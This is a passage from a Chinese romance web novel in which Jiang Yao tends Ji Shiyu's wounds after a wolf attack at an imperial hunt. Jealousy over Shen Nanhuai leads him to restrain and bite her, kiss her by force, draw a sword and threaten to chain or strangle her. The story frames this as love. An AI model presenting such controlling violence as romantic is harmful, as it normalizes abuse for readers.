便在这时,眼帘之中闯入一条蜿蜒的溪流,明亮澄澈,江曜停了步子,将马系在了树干。
“怎么来水边上了?”
“先清洗一下你身上的伤,我给你上药。”
“你竟然还带了药?”
江曜走到身边,抱了她下马,他没让姬时语落地,而是就着这个姿势,抱着她放在一块巨石上坐下。
再回头,江曜已去了溪水边,掬起了一把水,捧来给姬时语洗手。
右手还好,只是泥巴太多,过水洗了两遍,小手便恢复如常的白嫩光滑。
姬时语情不自禁开口:“你怎么知道我遇险了的?”
江曜抬眸,狐狸眼闪过一丝寒芒。
小姑娘坐在石头上,乖巧地注视着他,她身后便是澄澈的溪水,此刻她的眼宛如这条溪流,干净的无旁的色泽。
江曜周身冷意爬起,眼瞳黑漆漆的,看她时晦暗难言。
“哥哥,你怎么不说话呀?”
姬时语蜷起小拇指,勾了下江曜的手。
她声色还是如常,“是不是有人给你通风报信了?我看身边有生人,想着是我们忠义侯府的人。问他,他还一身不吭的。”
江曜松了口气。
他还当姬时语发现身边有人盯梢,质问他林二的来历呢。
看来是他多想了。
“我是得了信,知道你遇险,也要多亏了他留下信标,为我指路。”
江曜轻轻瞥眼林一那头,林二已退下不见踪迹。
那孩子是个哑巴,姬时语问他,林二自然不会多说。
“还好你来了,我真怕自己要在林中等一夜,那多可怕啊。”
“嗯。”
江曜应着她的话,又掬水慢慢给她洗左手。
这受伤了的左手需避着伤口,只能从外往里一点点抚,江曜洗的慢,就怕弄疼了姬时语。
好在姬时语并未喊疼,她反而笑了起来,“要是一直候着,我的血可要流不完了。”
“怎么伤的?”
“这是我自己划伤的。”
江曜停滞,顿着抬头,“你自己伤的。”
“是呀,那时候我和安乐被追,她走不了,我得引开狼群,只能用这个法子。要不然,我们可都要葬身狼口了!”
姬时语勾着江曜手腕晃动,像是在撒娇,“你说,我是不是做的很好?”
小姑娘白软的手心,被江曜用柔软帕子擦拭干净,他掏出袖子里的药膏,涂抹着为她上药。
江曜认真无比:“嗯,若能再少受点伤就更好了,我不喜欢看你受伤。”
就连给她上药这种小事,少年也做的专注。
姬时语说不出自己在想什么,她的心被莫名情绪充斥着,酸酸甜甜。
好奇怪的感觉,像吃到了最爱吃的糖醋鲑鱼,心尖品着几分甜,却回味带了点酸。
姬时语挪了挪,磨磨蹭蹭地靠了过去,依赖似的贴在他手臂上。
蹭了几下,又觉着不够,姬时语便扬起脑袋轻轻用柔软的嘴唇,啄了下江曜的下巴。
上首的少年瞬间低头,黑沉沉的眼瞳注视过来。
仿若顷刻间,要将她吞噬。
“阿锁?”
姬时语后知后觉做了何事,羞得脸红,她是情不自禁,太喜欢他便想同他亲密。
做都做罢了,后悔也来不及。
小姑娘就圈住江曜的脖子,故意撒娇让他忘了方才的那一亲。
她埋头在他的肩窝里娇俏的笑,“哥哥,我就知道你最疼我啦。”
“很高兴?”
“当然呀,我特别、特别高兴。”
江曜没说什么,姬时语有多好哄,他向来知晓。
他本就盼着小姑娘无忧无虑的,她喜欢,他也会知足。
“那给我看看脚。”
江曜蹲下,去褪姬时语的鞋袜,这一举动,令姬时语小脸通红,当即缩了腿。
“不是,怎么就要这样那样了?”
“你不是伤了脚腕吗?”
江曜说的一本正经,眼眸更是清冷,姬时语红晕退不下去,光凭着那句看脚,她便羞赧。
说的话太令人不禁遐想了。
“好了,别乱动了,你受了伤,让我看看。”
江曜摁住她小腿,兀自将她崴了的那只脚握住,手掌脱下她满是污秽的鞋,又褪去棉袜。
姬时语的脚与她人一样白净,今日奔波跑的久了,还染了些许粉意。
她的脚趾乍一露在冷风中,凉得不自觉瑟缩。
江曜握着她的脚底,放置于自己的膝盖上,脚腕红肿太大,显得她的脚很是白润小巧。
少年光明正大的摸她,不曾有旖旎的意味,反倒是姬时语扭捏的不行,脸上直是发烫。
躁得脸红害羞。
江曜指腹擦过她的脚背,凉得她心头发颤,脚趾忍不住一跳,他单手覆在她脚背,就这么包住在了他的手心。
姬时语羞得恼火,“你干嘛呀?”
她脚腕偏很痛,又抽不回来,只能任由少年握着。
不知怎么的就江曜笑了出声。
笑完他流露几分遗憾,他说:“阿锁怕要养许久了,这段日子你得拘在家中,养病。”
第77章
姬时语没想到有朝一日会得见江曜亲自为她洗脚。
尽管这事她自觉羞赧,少年却不以为然,只是握着她的脚背,轻缓地垂于溪水之上,另一只手鞠水往她红肿的脚踝洒着冰凉的水。
“嘶……”
姬时语抽了口气,本还觉着很痛的脚腕,在淋过水后骤然好受了不少。
疼意也去了几分。
“好些吗?”
姬时语颔首:“不那么疼了。”
趁着她疼痛减退,江曜握着姬时语的脚腕,轻轻扭转了两下,活动她的腕骨。
一番察看,腕骨并未折断,只是崴脚扭伤。
江曜安抚她:“崴脚的伤好养,回去要敷去肿的跌打药膏。”
“知道啦,知道啦。”
姬时语被他攥着脚已有许久,她心底那股扭捏劲儿还未过去呢,只是又尝试缩脚:“我们回去吧。”
“别动。”
江曜不容她抗拒,擦干净她的脚后,又给她套上鞋袜,一切妥当才放了她的脚腕。
少年如斯贴心细致,惹得姬时语耳尖红红。
待他洗罢手后,走过来时,姬时语俏生生朝他笑,粉色面颊娇柔,她张开了双臂,“哥哥,你抱我上马。”
平白的,姬时语便习惯了使唤江曜。
被江曜一把抱起,姬时语反手挂在他脖上。
坐于他怀中,她小心觑眼他的脸色,只见少年清冷的侧颜拢着浅淡的柔和,并非不乐意。
姬时语的唇瓣翘得高了些。
回程的路,江曜问了她身子可有好转,姬时语应:“有力气了,我们快些回去吧。”
因此,江曜便径直上了马,搂抱姬时语在怀,两人同骑。
小姑娘侧坐,伏趴在江曜胸膛之上,江曜单手握着她的腰,一只手抓牢缰绳,他眼底愠着笑意,低低笑了一声。
“你要抓紧我啊。”江曜说。
“我这抓的还不够?莫非你真将我系在你腰带上才好?”
姬时语哼着拍打他结实的臂膀,小手拧在他衣襟之上,她抓的很紧。
两人飞快穿行在火红的枫叶林中,小姑娘的嗓音俏丽婉转,随秋叶而飘落。
“还是说你想绑了我双手,都系在你身上,你才满意呢?”姬时语呛声。
江曜深深低笑:“阿锁心思灵巧,该依着你说的做。”
瞧她说的,绑了手脚系在他腰带上,他走到哪,她便跟到哪,形影不离的话,简直如至死方休,极乐之感。
他太想了。
“不是吧,哥哥你真舍得绑了我?”
“阿锁不喜欢这样吗?”
“哼,绑手脚用什么,不得用铁链啊?听着就好痛啊,不喜欢。”
“阿锁还知道用铁链啊。”
“人家都说拴狗才需要锁着,我又不是小狗,被铁链锁住,谁愿意呢?”
江曜眼眸阴郁,“是啊,阿锁不是小狗。”
她是他想要关在笼子,不让任何人觊觎的珍宝。
“我才不要哩,双手双脚被绑住得多疼呀。”
姬时语还在说:“你又不是不知道我,从小到大,我最怕疼了,不要,不要。”
紧贴在少年的胸前,他的心跳很是平静,不断有砰砰声与他好闻的气味一道,闯入姬时语的鼻腔和耳廓。
如此温柔的清冽,才是她喜欢的样子呢。
姬时语很眼馋,便眯眼重重在江曜身上吸了一口。
她这个举动引得少年不自觉紧绷身体,全身血液沸腾的厉害,握住她腰肢的手真是瞬间掐着陷入她的软肉。
“你不乖的时候,就想让人
锁起来,那样的话,阿锁便会乖乖听话了。”
“我还不乖?”
姬时语不悦了,“我是忠义侯府最乖的姑娘,不信你去问我娘和姐姐。”
“那怎么办呢,就先不锁你了?”
江曜忍不住探手在姬时语的腰肢、后背来回摩挲,小姑娘觉着有些痒,她还真以为少年是和她打趣,一直闹着玩呢。
说这档子铁链,又是系绑手脚,听起来十分怖人的话。
姬时语躲开江曜作乱的手,一把给他凉凉的手摁住,双手皆抱住了他的,温热贴在他的冰冷之上。
“锁什么锁呀?”
她哼哼道:“哥哥,我不准你这样做,你可不是这等人,不能生出不好的心思。”
姬时语说过,她不喜欢见人如此对待于她,她更不愿意看着她养大的江曜,有朝一日变得面目全非。
什么吓人、怖人之事,想都不要想。
“哥哥,这些年我告诉你许多,又让你跟着我爹,都是为让你走上正途。我希望有一日,江曜不再需要躲藏,而是能正大光明现世于满京的眼前。”
姬时语对这事亦是固执,说了多少回了她也没腻,“所以,你不要想有的没的,什么铁链锁人,系着手脚,再往下走,那人不愿意,执意反抗到底呢?”
听小姑娘一本正经在他怀里教习他世道,江曜没来由地又是勾起一笑。
他这颗恶劣又肮脏的心,还是没让姬时语发觉呢。
究竟何时,她才能知晓,她面前这看似为人君子的哥哥,实则只是披着一层昳丽皮囊的恶鬼。
即使装得再像个人,他这辈子恐也做不了一介好人了。
“那就只好杀了她了。”
江曜似无心的说着玩笑话,姬时语却恼怒瞪他,“哥哥!”
“好了,逗你呢,你说的我会没听进去?阿锁,你见过我对谁残忍过吗?”
姬时语冥思苦想,她还真没有亲眼见过一回。
这也足以作证,江曜,她的哥哥,绝非凶恶狠毒的坏人。
“也是,哥哥就是哥哥!”
姬时语莞尔一笑,再度靠回江曜怀中,她抱紧他的腰身,狠狠蹭了两下,很像在无声的撒娇,“铁链那等物什,哥哥你不会用的,更别说杀我了,你疼我还来不及呢,是不是?”
“嗯。”
江曜的手揉了揉她的腰肢,将她摁在怀里,深深汲取她身畔的玉兰花香。
很早的时候,江曜便心生过恶念。
他打定主意,会缠着阿锁一辈子,这一世,不,下辈子,下下辈子,都会不离不弃。
只要他在,任谁都不会有机会。
他也想过若是姬时语有心逃离他。
不,江曜不会容许她撇了自己。
只是若真有那么一日,他是将她的四肢扣上沉重的锁链,封了退路,就此禁闭于无人知晓的暗宫,还是杀了她再殉情。
除此之外,江曜没想过给姬时语第三条路。
他无声说道:阿锁,杀了你何尝不是一种疼爱呢?
我们是连死都要死在一起的,无人能分开我们。
闻着她的气味,江曜沉醉地陷入,他愉悦笑着,脑里不免忆起那一夜的荒唐。
阿锁的滋味太好,他食之如瘾。
只是可惜那回,没能做到最后。
啧。
江曜眼尾挑了一分阴冷,咬住了自己的舌。
……
两人折回营帐之时,围场已作大乱。
二皇子江承德带人守在围场门前,见江曜归来,马上还坐着姬时语,他长吁气,转动轮椅便过来。
“江云让,你找到五小姐了?”
江曜点头,“受了一点小伤,她没事。”
“那就好,忠义侯府可是急坏了,侯爷带兵在围场搜寻,侯夫人还在等着,你快带五小姐回去吧。”
“到底出什么事了?”
江曜坐于马上,视野开阔,只是一环顾,便惊觉未见皇室的身影,仅有江承德一人在指挥禁卫军。
弘文帝不应该不在,除非出大事不得不离开。
“五小姐受惊吓,应在林中遭遇了野狼吧。”
江承德眉宇之间尽是发愁,江曜睇他一眼,深深探究,他便又道:“今日这大事一出,父皇相当震怒,皇室之中有皇子受了重伤。”
“什么?”
江曜蹙眉,他记得离开时,还见到了江承运和江承北。
“大皇兄和三皇弟亦是被野狼伏击,三皇弟侥幸免于难,大皇兄跌落下马,被野狼群撕咬,手臂断了,大腿还被咬掉了一大块肉。”
江承德又道:“皇兄被抬回来时,已是一介血人,父皇让人送去了西宫,这会儿营帐的御医全在西宫了。”
江曜颔首。
“江云让,你知道什么?”
江承德望着江曜,端详出他眼底一抹波澜,复而道:“我奉命彻查此事,你和五小姐身陷事端,最好不要对我有所隐瞒。”
江曜没料到江承德一眨眼,便将矛头对准了自己,他冷哼:“此事与我无关。”
江承德道:“是吗?”
他没说不信,显然比起怀疑,他还是确信江曜的为人。
“不错,我是和两位殿下见了面。”
江曜的坦诚,江承德点头信了他话,便听江曜继续道:“那是我找阿锁之前,大皇子有意私吞我捕杀的猎物,我没给,他气急败坏,之后我们便分道扬镳了。”
“你的话我会如实禀报父皇。”
江承德在此地等候江曜,原来还有这层用意。
“不过林中那些野狼群,我瞧着有些不对劲。”
江曜也不解释,他该说的已说了,信不信都在于江承德,于是他补道:“我观察过了,围场之中的猎物鲜少会成群窜出,这三日秋猎下来,我还是
第一回遇到数目这样之多的狼群。”
“二皇子殿下,容我多说一句。”
姬时语插了话,江承德看她。
“我和沈大人兄妹今日才入了围场便遭遇了狼群追咬,这显然不寻常。”
姬时语坐在江曜怀中,衣裳破烂,却双目明亮,“我姐姐曾说,只有围场深处才会有狼出没。”
“多谢五小姐提点。”
江承德得了她的信,又了解实情了一分,他的眸子不经意滑落于姬时语高肿的脚腕,怜惜说道:“五小姐受苦了。”
姬时语笑说:“我没事的。”
“阿锁,该回了。”
江曜霎时黑了脸,他拉动缰绳便要走,当着江承德的眼,他紧紧攥住姬时语的腰肢,将她裹于怀中。
马儿掉了个头,他的身子结结实实盖住了姬时语的,再没让江承德看见。
江承德凝望两人的背影,自笑了一道。
瞧瞧江曜那眼神,他只不过多看了眼姬时语的玉色脚腕,江曜便跟要把他大卸大块似得。
这固执劲儿,江曜在五小姐那儿瞒的真严
实啊。
姬时语一点不知晓她哥哥江曜,满心盛着她,对外头想来招惹的男人是一个接一个的动杀心吗?
忠义侯府的五小姐,还真是个木头。
不过是个木头也好,至少不会抛了江曜,再回绝他的心意。
江承德摸了摸下巴。
他不禁想,若是姬时语变了心,哪日要跟别人好了,真起心欲抛弃江曜的时候。
江曜得发疯成什么样啊?
第78章
“娘!姐姐!”
抵至忠义侯府驻扎之地,江曜抱了姬时语下马,何氏和姬合英相继冲出了营帐。
“阿锁!”
何氏是担心坏了,脸庞忧容满面,双目还红肿的,她已哭过了一回。
抱着姬时语,何氏心里才终于踏实了。
再一探视,何氏竟见怀里的小女儿身上无一片衣裙完好。
衣摆碎得厉害,手臂衣袖又被树丛枝桠划破,露出里头雪白的藕臂,依稀零落着细小血痕。
她左手已被江曜包扎,系在手上的衣片隐有血迹渗透。
更惨烈的是姬时语的脚腕,肿的又大又红,小姑娘还需单脚站定,那只伤脚受不得一点力。
“阿锁。”
姬合英赶忙过来,半抱住姬时语,心中又是一阵心疼,“你怎么将自己弄成了这副模样?”
“我只是想着去放生兔子。”
姬时语小脸一皱,垮下来哀怨,“哪里知道会突然遇上野狼啊?”
“你还敢带着沈家人入了围场,你可知你们差点丢了命!”
舒氏不免责怪起来,她后怕至极,怪的是姬时语胡来,又责备自己看管不周,“阿锁,你今日做的太过火了,是该反省受罚。”
姬时语被斥责一顿,委屈的眼睛要红了,“娘……”
“幸好云让及时找到了你,那林中猛兽多少,你们哪来的胆子竟然空手徒步闯进去?”
舒氏不住地奚落。
她也是太担心姬时语安危了,总怕小姑娘真遭了大难,又无人能施以援手。
江曜是去的是时候,可万一江曜不在呢?
等姬雄武找到姬时语,不知何时了。
夜黑风高,那林中不知多少野兽,姬时语被啃食殆尽了怎么办?
舒氏光想着就发寒,她提声便道:“你还要想想怎么同沈家人赔罪,沈家兄妹因着你,可是遭了大难。”
“他们怎么样了?”
姬时语想起沈安乐和沈南怀,着急看向舒氏。
“他们被找回来了吗?”
舒氏不语,姬时语心急如焚,想到某个可能,她慌了,“娘,你莫要吓我。”
“你还知道怕了?”舒氏冷道。
姬时语怏怏垂了首,“娘,我知错了。”
“娘,阿锁好不容易被找回来,不要责备她的不是了。”
姬合英看不下去,抚着妹妹的手,她朝舒氏说:“她不比沈家人受的伤轻,心里又遭了打击,换谁都不好受。”
舒氏便是沉重的一个叹气。
良久,舒氏才开口:“罢了,合英,你带着阿锁,我们去一趟沈家,和人当面赔礼道歉。”
“好。”
姬合英托起姬时语的腰,不让小姑娘脚落地,便这么半搂抱着她一道往沈家走去。
姬时语一路沉默,她满心担忧沈安乐和沈南怀,盼着两兄妹能平安无事。
一刻钟后,一行人已来到沈家。
舒氏先行递话,让丫鬟进去禀报,“麻烦知会一声,说忠义侯府来求见沈夫人。”
丫鬟随后入了营帐。
不多时,一道身影已快步冲出营帐。
沈安乐满脸泪痕,见是姬时语来了,她整个人是朝着她扑了过来。
“时语,你没事吗?”
沈安乐满是哭腔,泪水哗啦啦的流,“你真是吓死我了,我怕你在林里出不来了,呜呜呜呜……”
“安乐,看你没受伤,我也放心了。”
姬时语拍拍沈安乐的后背,她却抱的更紧了,摇头痛哭着,“时语,都怪我没用,还好你平安,如若不是我,你也不会以身犯险,对不起,呜呜……”
“不怪你,是我不好,我今日不该让你们陪我入围场。”
姬时语懂得了舒氏为何而责怪她,确实是她连累了沈家兄妹,害的两人受了大苦。
“安乐,对不起。”
“不怪你,我只想你好好的。”
看沈安乐嚎啕大哭,姬时语心中十分不好受。
可是没有看见沈南怀的身影,姬时语的心再度揪起,忙追问:“安乐,你兄长呢?他如何了?”
“兄长,兄长他……”
一说起沈南怀沈安乐哭得更凶了,眼泪尽数抹在了姬时语的衣领,她摇头哭着:“大夫来看过了,兄长后背血肉模糊的,我都不敢多看,先前他疼得是昏过去了。”
姬时语很是懊悔。
那时候沈南怀才和她表明心意,她还拒了他一片炽热倾慕。
可沈南怀非但没怪她,还在那危机关头,以身护了她的平安。
沈南怀只是一介文人,哪对抗的了野狼啊?
“对不起,我对不住沈大人。”姬时语也有些哽咽了。
内疚之意浸没了她的心,她不知该如何还报沈南怀的救命之恩,连带着还有再度面对他时那份心意的愧疚。
“兄长这会儿醒了,你要见他一面吗,你应有话想和哥哥说吧?”
沈安乐擦了擦眼泪,她瞅着姬时语苦闷的小脸,关切说道:“时语,兄长其实满心记挂你的安危,你能平安回来,对他而言已是最大的宽慰。他是不愿意看见你愁眉苦脸,还满心愧疚的。”
姬时语浑身一震。
她一双猫瞳顿时如过了水的泪花涟涟,可又忍耐住了,到底没有哭出来。
沈家兄妹心太善良,两人并不怪她任何,反而都盼着她能平安。
这样的两人,为她着想,她怎会不感动?
沈安乐握住姬时语的手,笑说:“时语,你去看望下兄长吧,你若能去,他会比谁都要高兴。”
话中深意,姬时语怎么会听不懂。
沈南怀倾慕于他,他便也盼着她能来。
姬时语心怀愧疚,她当即应道:“好。”
殊不知两人交谈,皆落进了忠义侯府众人的耳朵,江曜走在最末,仍旧听得一清二楚。
什么沈南怀一心牵挂姬时语,他心悦于她,渴求着她来。
江曜的手指拧在一起,骨指关节咔嚓咔嚓地作响,面色如黑雾似得阴沉。
尤其望见姬时语跛着脚,二话不说便入了沈家营帐。
她那么顺从的、迫切去见沈南怀。
江曜的血冰凉了。
心上如同过了滚刀,一刀一刀的砍,砍了又拔,拔了又砍。
疼得他握不住手里的长刀。
可是舒氏很快发了话,她喊他道:“云让,和我细说你们在林中都遭遇了什么?”
面对舒氏,江曜还是收敛了阴暗的脸色,如实作答。
营帐中,沈夫人蓝氏静候在床榻边,沈南怀趴着,上半身并未盖被褥,麻布包扎裹满了全身。
蓝氏走来,喊了姬时语一声。
“姬五小姐。”
“沈夫人,对不住,今日是我任性,喊了沈大人和安乐陪我去围场,若非如此,他们也不会……”
姬时语忍着脚腕疼痛,还是给蓝氏与沈南怀做礼赔罪。
“五小姐,怎么能怪你的不是?”
沈南怀径直打断了她,“谁也不会想到野狼群会来围猎的外场,二皇子殿下正在彻查,你就不要太责备自己了。”
姬时语眼里情绪复杂,她见沈南怀脸色惨白,强撑着劝慰她,心里很不好受,千言万语化作一句。
“沈大人,谢谢你。”
小姑娘脸蛋莹白,她笑时双目如弯月明媚,眼下这赔礼道歉,礼节是周到了,也再度表明了她的态度。
姬时语是真的无意于他。
“五小姐,我救你不会为了要你的谢谢。”
沈南怀眼神瞬间黯淡下去,他摇头笑了一下,“听安乐说,你划破了手引开狼群,拼命救
她,我们沈家很是感激于你。”
“正如你们盼着我好的心,我亦是盼着你们安好。”
姬时语轻声说:“对我来说,你和安乐是很重要的朋友。”
“朋友……吗?”
沈南怀释然一笑,他抬眼看来,问道:“五小姐,我可以喊你的名字吗?”
姬时语一愣,很快她回了好。
沈南怀轻轻喊她:“时语。”
姬时语应他。
“这样便好了。”
沈南怀没再说什么,不能奢求两人结为夫妻,但若能喊她的名字,他已很是满足。
“时语,你也受了伤,还是回去静养吧。”
沈南怀和蓝氏道:“母亲,劳烦你送五小姐回吧。”
姬时语还欲多说,但蓝氏已是走了过来。
“五小姐,沈家事你不必太自责。”
蓝氏朝着姬时语客气地抬手,领着她出去,她边道:“今日野狼突袭,乃是意外,你能平安归来,已是不幸中的万幸。”
沈家人将姬时语送离营帐,外头舒氏等人还在候着,蓝氏便和舒氏道:“侯夫人,五小姐还有伤,不必久留,还是回去休养吧。”
沈安乐见蓝氏出屋,啜泣着,一把依偎入了蓝氏的怀里。
这位沈家的继母,在这种时候,给予了沈家兄妹无微不至的照顾。
舒氏又问了几句沈南怀的伤势,蓝氏一一应答,两位夫人便就此止了话,再作告别。
姬时语垂着头,跛脚一步一步慢行,跟随舒氏归家。
脚面刚迈出几步,却未见江曜的人,抬起眼,姬时语再一回头。
江曜竟还立在原地。
秋风瑟瑟,有些冷寒,姬时语身形一抖。
那头江曜阴阴沉沉的站着,少年那双狐狸眼一片黑漆漆,色泽十分的阴郁。
不知陷入了何种情绪之中。
姬时语跛脚走过去,伸出手来抓他:“走吧,我们也回去。”
倏忽间,江曜突然大步跨来,他伸手将她抓抱了起来,让她坐在自己手臂之上。
“江云让!”
姬时语被吓了一跳,脸白了。
江曜应都未应,直直越过舒氏和姬合英,他迈开步子,疾步回了忠义侯府驻扎之地。
眼见要回营帐,姬时语还想喊他放自己下来。
谁料江曜竟一把抱着她踏入了,他自己的营帐。
林一跟在后想入营帐,却得了江曜怒吼。
“滚!”
江曜托抱着姬时语入了内,营帐之中只余下两人,江曜放下她时,却是将她抱上了桌案。
姬时语坐着,他站定在她身前,高大的身影笼罩于她全身。
不留一丝缝隙。
林一在外问:“公子,可有吩咐?”
“守在外面,不准任何人进来。”江曜沉冷道。
“哥哥?”
姬时语不乐意被他囚于桌上,她想下桌,可是身子才刚挪动,江曜一只手便将她两只手腕并在一块攥住。
江曜清冷面容浮动着阴郁的黑雾,那张脸看似平静的神情之下,透着某种隐隐的疯狂。
“你还想去哪里?”
姬时语不解:“你在说什么?”
攥住她手腕的大掌猛然用力,两根腕骨挤压在一块,疼得姬时语泪花飙出:“你放手,弄疼我了!”
一刹那江曜松开了手,只是还不到一刻,他又立马握紧了手掌。
姬时语手腕痛,脚腕还未上药,身上一处痛楚,全身便也跟着泛起疼。
“你到底要做什么?”
“你为何要去看沈南怀?”
姬时语在桌上,两条细白的腿耷拉在桌沿,动弹不得。
她与江曜平视,一双猫瞳此刻夹杂着恼火。
“就为了这种事,你便要故意弄疼我?江曜,我手疼,脚腕也疼!”
“这种事?这是什么不打紧的事吗,这事非常重要,阿锁。”
江曜一双眼黑得怖人,像要把姬时语生吞活剥了,她后背发冷,双手被禁锢着,只能怒瞪回去。
“你先放开我!”
“阿锁,不要用这种眼神看我。”
江曜凉凉的指腹低低抚摸着姬时语的眼角,他很不喜欢姬时语为外头的野男人瞪他。
不该是这样的,她该一辈子都站在他身侧,而不是去到别人的身边。
“江曜,我说过我不喜欢你这么对我。”
姬时语满心委屈,她一娇气眼尾不自觉蓄起了泪花,泪珠就那么滚落,“你把我弄的很痛,你知道吗?你怎么可以这么欺负我,你太过分了。”
她的眼红红,鼻头亦是泛了粉色,她抽泣着掉了眼泪。
小姑娘一哭出来,江曜便松了钳制。
“说好的,你会宠我的呢,江曜,你只会哄我、骗我!”
姬时语怒极,挣脱江曜的手便一拳头打过来。
可她的拳头还未打上江曜,便被他反手捉住,江曜又拥住了她的腰,他倾身压了上去。
“是谁先骗了谁?为什么?不是说好了我们之间不会有第三个人。”
江曜双手撑在她两边,姬时语寸步不得动弹,被他两只手臂禁锢,他的头颅贴在了她的额上。
少年呼出的凉气一如他的人,冷得姬时语发颤。
“别哭,哭得我忍不住想吻你。”
江曜的头颅凑近了些,他探出舌尖,轻轻的,将姬时语眼上的泪珠卷起,擦拭了干净。
他的唇瓣在她浓密的眼睫之上掠过,好似还要吻上她浸水了的眼睛。
“阿锁,是你先剐我的心,你知道我此时此刻心头所想的是何事?我会想杀了你。”
这回轮到姬时语吓得哭不出来了。
“不要,哥哥,我怕……”
江曜几度与她开过玩笑,他说过想在她身上栓铁链,不允她逃脱。
那些话姬时语从未当真上心,她以为他只是哄骗吓唬她。
只是今日面对江曜这般的威吓,不管是否为玩笑话,姬时语都生起了惧意。
第79章
姬时语的手腕被掐出一到红痕,并非江曜太过用力,而是小姑娘自小娇生惯养,肌肤太过娇嫩,稍用点力道便摁压出了红。
如柔脂般的肌肤落着被他掐出的红印,江曜终是没再使劲,而是握着她的手腕放在唇边,轻啄了一下。
他低头吮上那块红印,就着这个姿势,抬眸问姬时语:“很疼吗?”
“疼。”
姬时语可怜兮兮地点头。
这话却换来了江曜张口的一咬,她当即嘶出了声。
江曜的牙尖在她手腕处撕磨,力道不大,可那锐利的、细密的刺痛,还是让姬时语倍觉不适。
“不要这样……”姬时语想抽回手腕。
然而下一刻,她的脚腕也被捉住了。
身上残留的痛处乍然响彻全身,姬时语痛得直掉眼泪,手脚皆被钳制,她是一点也挣脱不了。
“你为什么这样对我!”
姬时语眼尾染红,喊着控诉他。
江曜从她手上抬头,他冷笑了一声,“阿锁,沈南怀喜欢你。”
少年狐狸眼黝黑,瞳孔冷寂般地一眨不眨。
看得姬时语生起一股毛骨悚然之感,好似被一只阴毒的巨蛇缠绕,他在细细啃咬自己的手腕。
这感觉令她全身焦灼,坐立不安。
在她心中,她的哥哥江曜不该是这样的。
平日他虽说看着冷漠,但待她最是温柔上心,他宠着她又哄她多,怎么会用怖人阴寒的眼神看着她?
不会的。
姬时语努力镇定情绪,情不自禁地辩解道:“哥哥,我只是去看望他。”
话音刚落,手腕又是一个咬下。
姬时语吃痛,江曜还在咬着她不放。
“你到底想做什么,江曜,你在气什么?”
“阿锁,你打破了我们的誓约。”
“我从来没有。”
“你太关切他了,比对我还要上心。”
“我关切他是因为今日是我让沈家兄妹遇险。”
姬时语真是怒了,一面是为江曜的质问,一面是为他强硬的态度。
她深吸了一口气,复而解释,她说:“沈南怀是为了我受的伤,于情于理,我都该去看他。”
“他就算是死了又能怎么样?”
“江曜,你听听你说的何话?你说他死了又能怎么样?我是恩将仇报的人吗?做人要凭良心,他救了我,你要我看着他去死,我做不到冷血无情。”
姬时语冷淡地抽回了手,她以为自己解释的很清楚了。
江曜该理解她的。
可偏偏她眼前的少年,是个疯癫之人,哪里还来的冷静理智能思索她的话?
“哈……我没想到你为了沈南怀跟我吵。”
江曜冷笑,“阿锁,你是说我冷血无情。”
“江曜,现在不讲理的到底是谁?”
姬时语才是不解,她不懂为何他们之间会闹成这样,“我在明明白白跟你说道理,你却非说沈南怀该死,他做错了什么,就该死了呢?”
“阿锁,不要再让我从你嘴里听到沈南怀的名字,不然我真的会封住你的嘴。”
“江
曜!”
姬时语只觉得此时的江曜太不可理喻了,“沈南怀是个好人,他今日唯一做的事,就是救了我。江曜,在你心里,救了我的便该死,你凭什么这么想!”
“阿锁。”
“沈南怀,他……”
话未说完,江曜已捧着姬时语的脸,强横地吻了下去。
他唇齿俱是用了力,啃过之后再慢慢的吮她的红唇,不肖片刻,姬时语便尝到了血的味道。
她又被他亲破皮了。
“江曜……”
这个吻让两人气喘吁吁,江曜的眼黑的厉害,姬时语眼眶微红,方才嘴唇的里里外外都被他亲了个遍,一丝空隙也没留。
姬时语是又羞又恼。
江曜一把抓住她未受伤的脚踝,他还没用力,可姬时语还是难耐得大喊。
“江曜,我太讨厌你了!”
姬时语捶打江曜的胸膛,她被他抓得脚腕动弹不得,她哭着打他:“我还伤着,你怎么能一直凶我?”
“他喜欢你。”
江曜眼瞳烧着烈火,固执于这桩事,仿若是过不去了。
“阿锁,我说了,沈南怀喜欢你,你却去见他?还是你想告诉我,其实你喜欢沈南怀,是吗?”
姬时语红唇翕动,一颗泪珠还挂在她眼尾,要落不落。
江曜无情地抬手抹去她眼尾的那滴泪,他定在她身前,身上墨色云纹骑装衬得他尤为冷厉。
姬时语只望得见他的衣角,墨黑发沉,江曜以一种不可反抗的气势,在逼问她。
“阿锁,你敢说是,我绝对会掐死你。”
江曜的手包在了她的脚上,好像只要他再多用点力,她的脚骨便被会立刻折断。
他没有再用力了,只是轻轻抚过她的脚腕。
这等令人恐慌的一幕着实吓坏了姬时语,她朝后挪动,缩着摇了摇头。
姬时语眼中含泪,她的脚腕红肿痛得她咬牙,却还要被江曜无端责怪。
她亦是倔强,扭头不再看江曜。
等了良久,小姑娘还是闷声不吭,江曜眼里黑沉更深,他没了耐心,隐隐有要发狂的预兆。
姬时语等到了他一句,“阿锁,说话。”
她刚要开口,手腕抬起时蓦地摸到了冰凉的刀面,姬时语迅速回了头,只见手边一把冰凉的长刀,已被江曜拔出了刀鞘。
顿时,她满腔委屈全化作了恼火,直接伸手猛推跟前精瘦的胸膛。
“你还要拿刀对着我?江曜,我是你仇人还是什么?”
姬时语气狠了,江曜禁锢着她不放,怒火无处发散,她扑过去咬他近在咫尺的脸。
兔子被逼急了还会咬人呢,她岂会下不了狠口?
姬时语重重的啃咬江曜的脸。
直到嘴里有了腥味,姬时语才松开嘴。
江曜的侧脸俨然被她啃咬破了皮,血痕似的牙印落在他半边脸颊之上,少年冷冷静静的看她,竟然没有动作。
他收了刀。
已入魔的情绪出乎意料的平复了下来。
“你看着我也无用,我咬的就是你,谁让你不由分说地怪我,还让我身上一直痛得不行,江曜,你活该!”
姬时语气得满眼通红,指着他就骂:“不要再拿沈南怀作借口欺负我,我说了,我同他没的关系,你再臆想有的没的,你看我不打你?”
“阿锁。”
“闭嘴,你不要喊我。”
江曜垂眼,褪去了那等怖人的阴郁之后,少年好似恢复了往日的样子。
他支在她身前,亲昵地凑过脸来,可却被姬时语气呼呼的一把推开。
“江曜,我这会儿不想理你。”
姬时语还在生气,她才不要和少年亲近,“你把我抓来这么久,我的脚都痛死了,你也不给我上药。”
小姑娘撅嘴控诉,她眼尾红红,是被他弄得委屈坏了。
江曜蹭过来,用稍凉的脸贴着她温热的脸蛋,小姑娘躲闪不及,被他触碰了个正着。
他蹭蹭她的,有些讨好似的沉声说:“想阿锁,再多陪我一会儿。”
“那你也不能把我晾在这,还威胁我。”
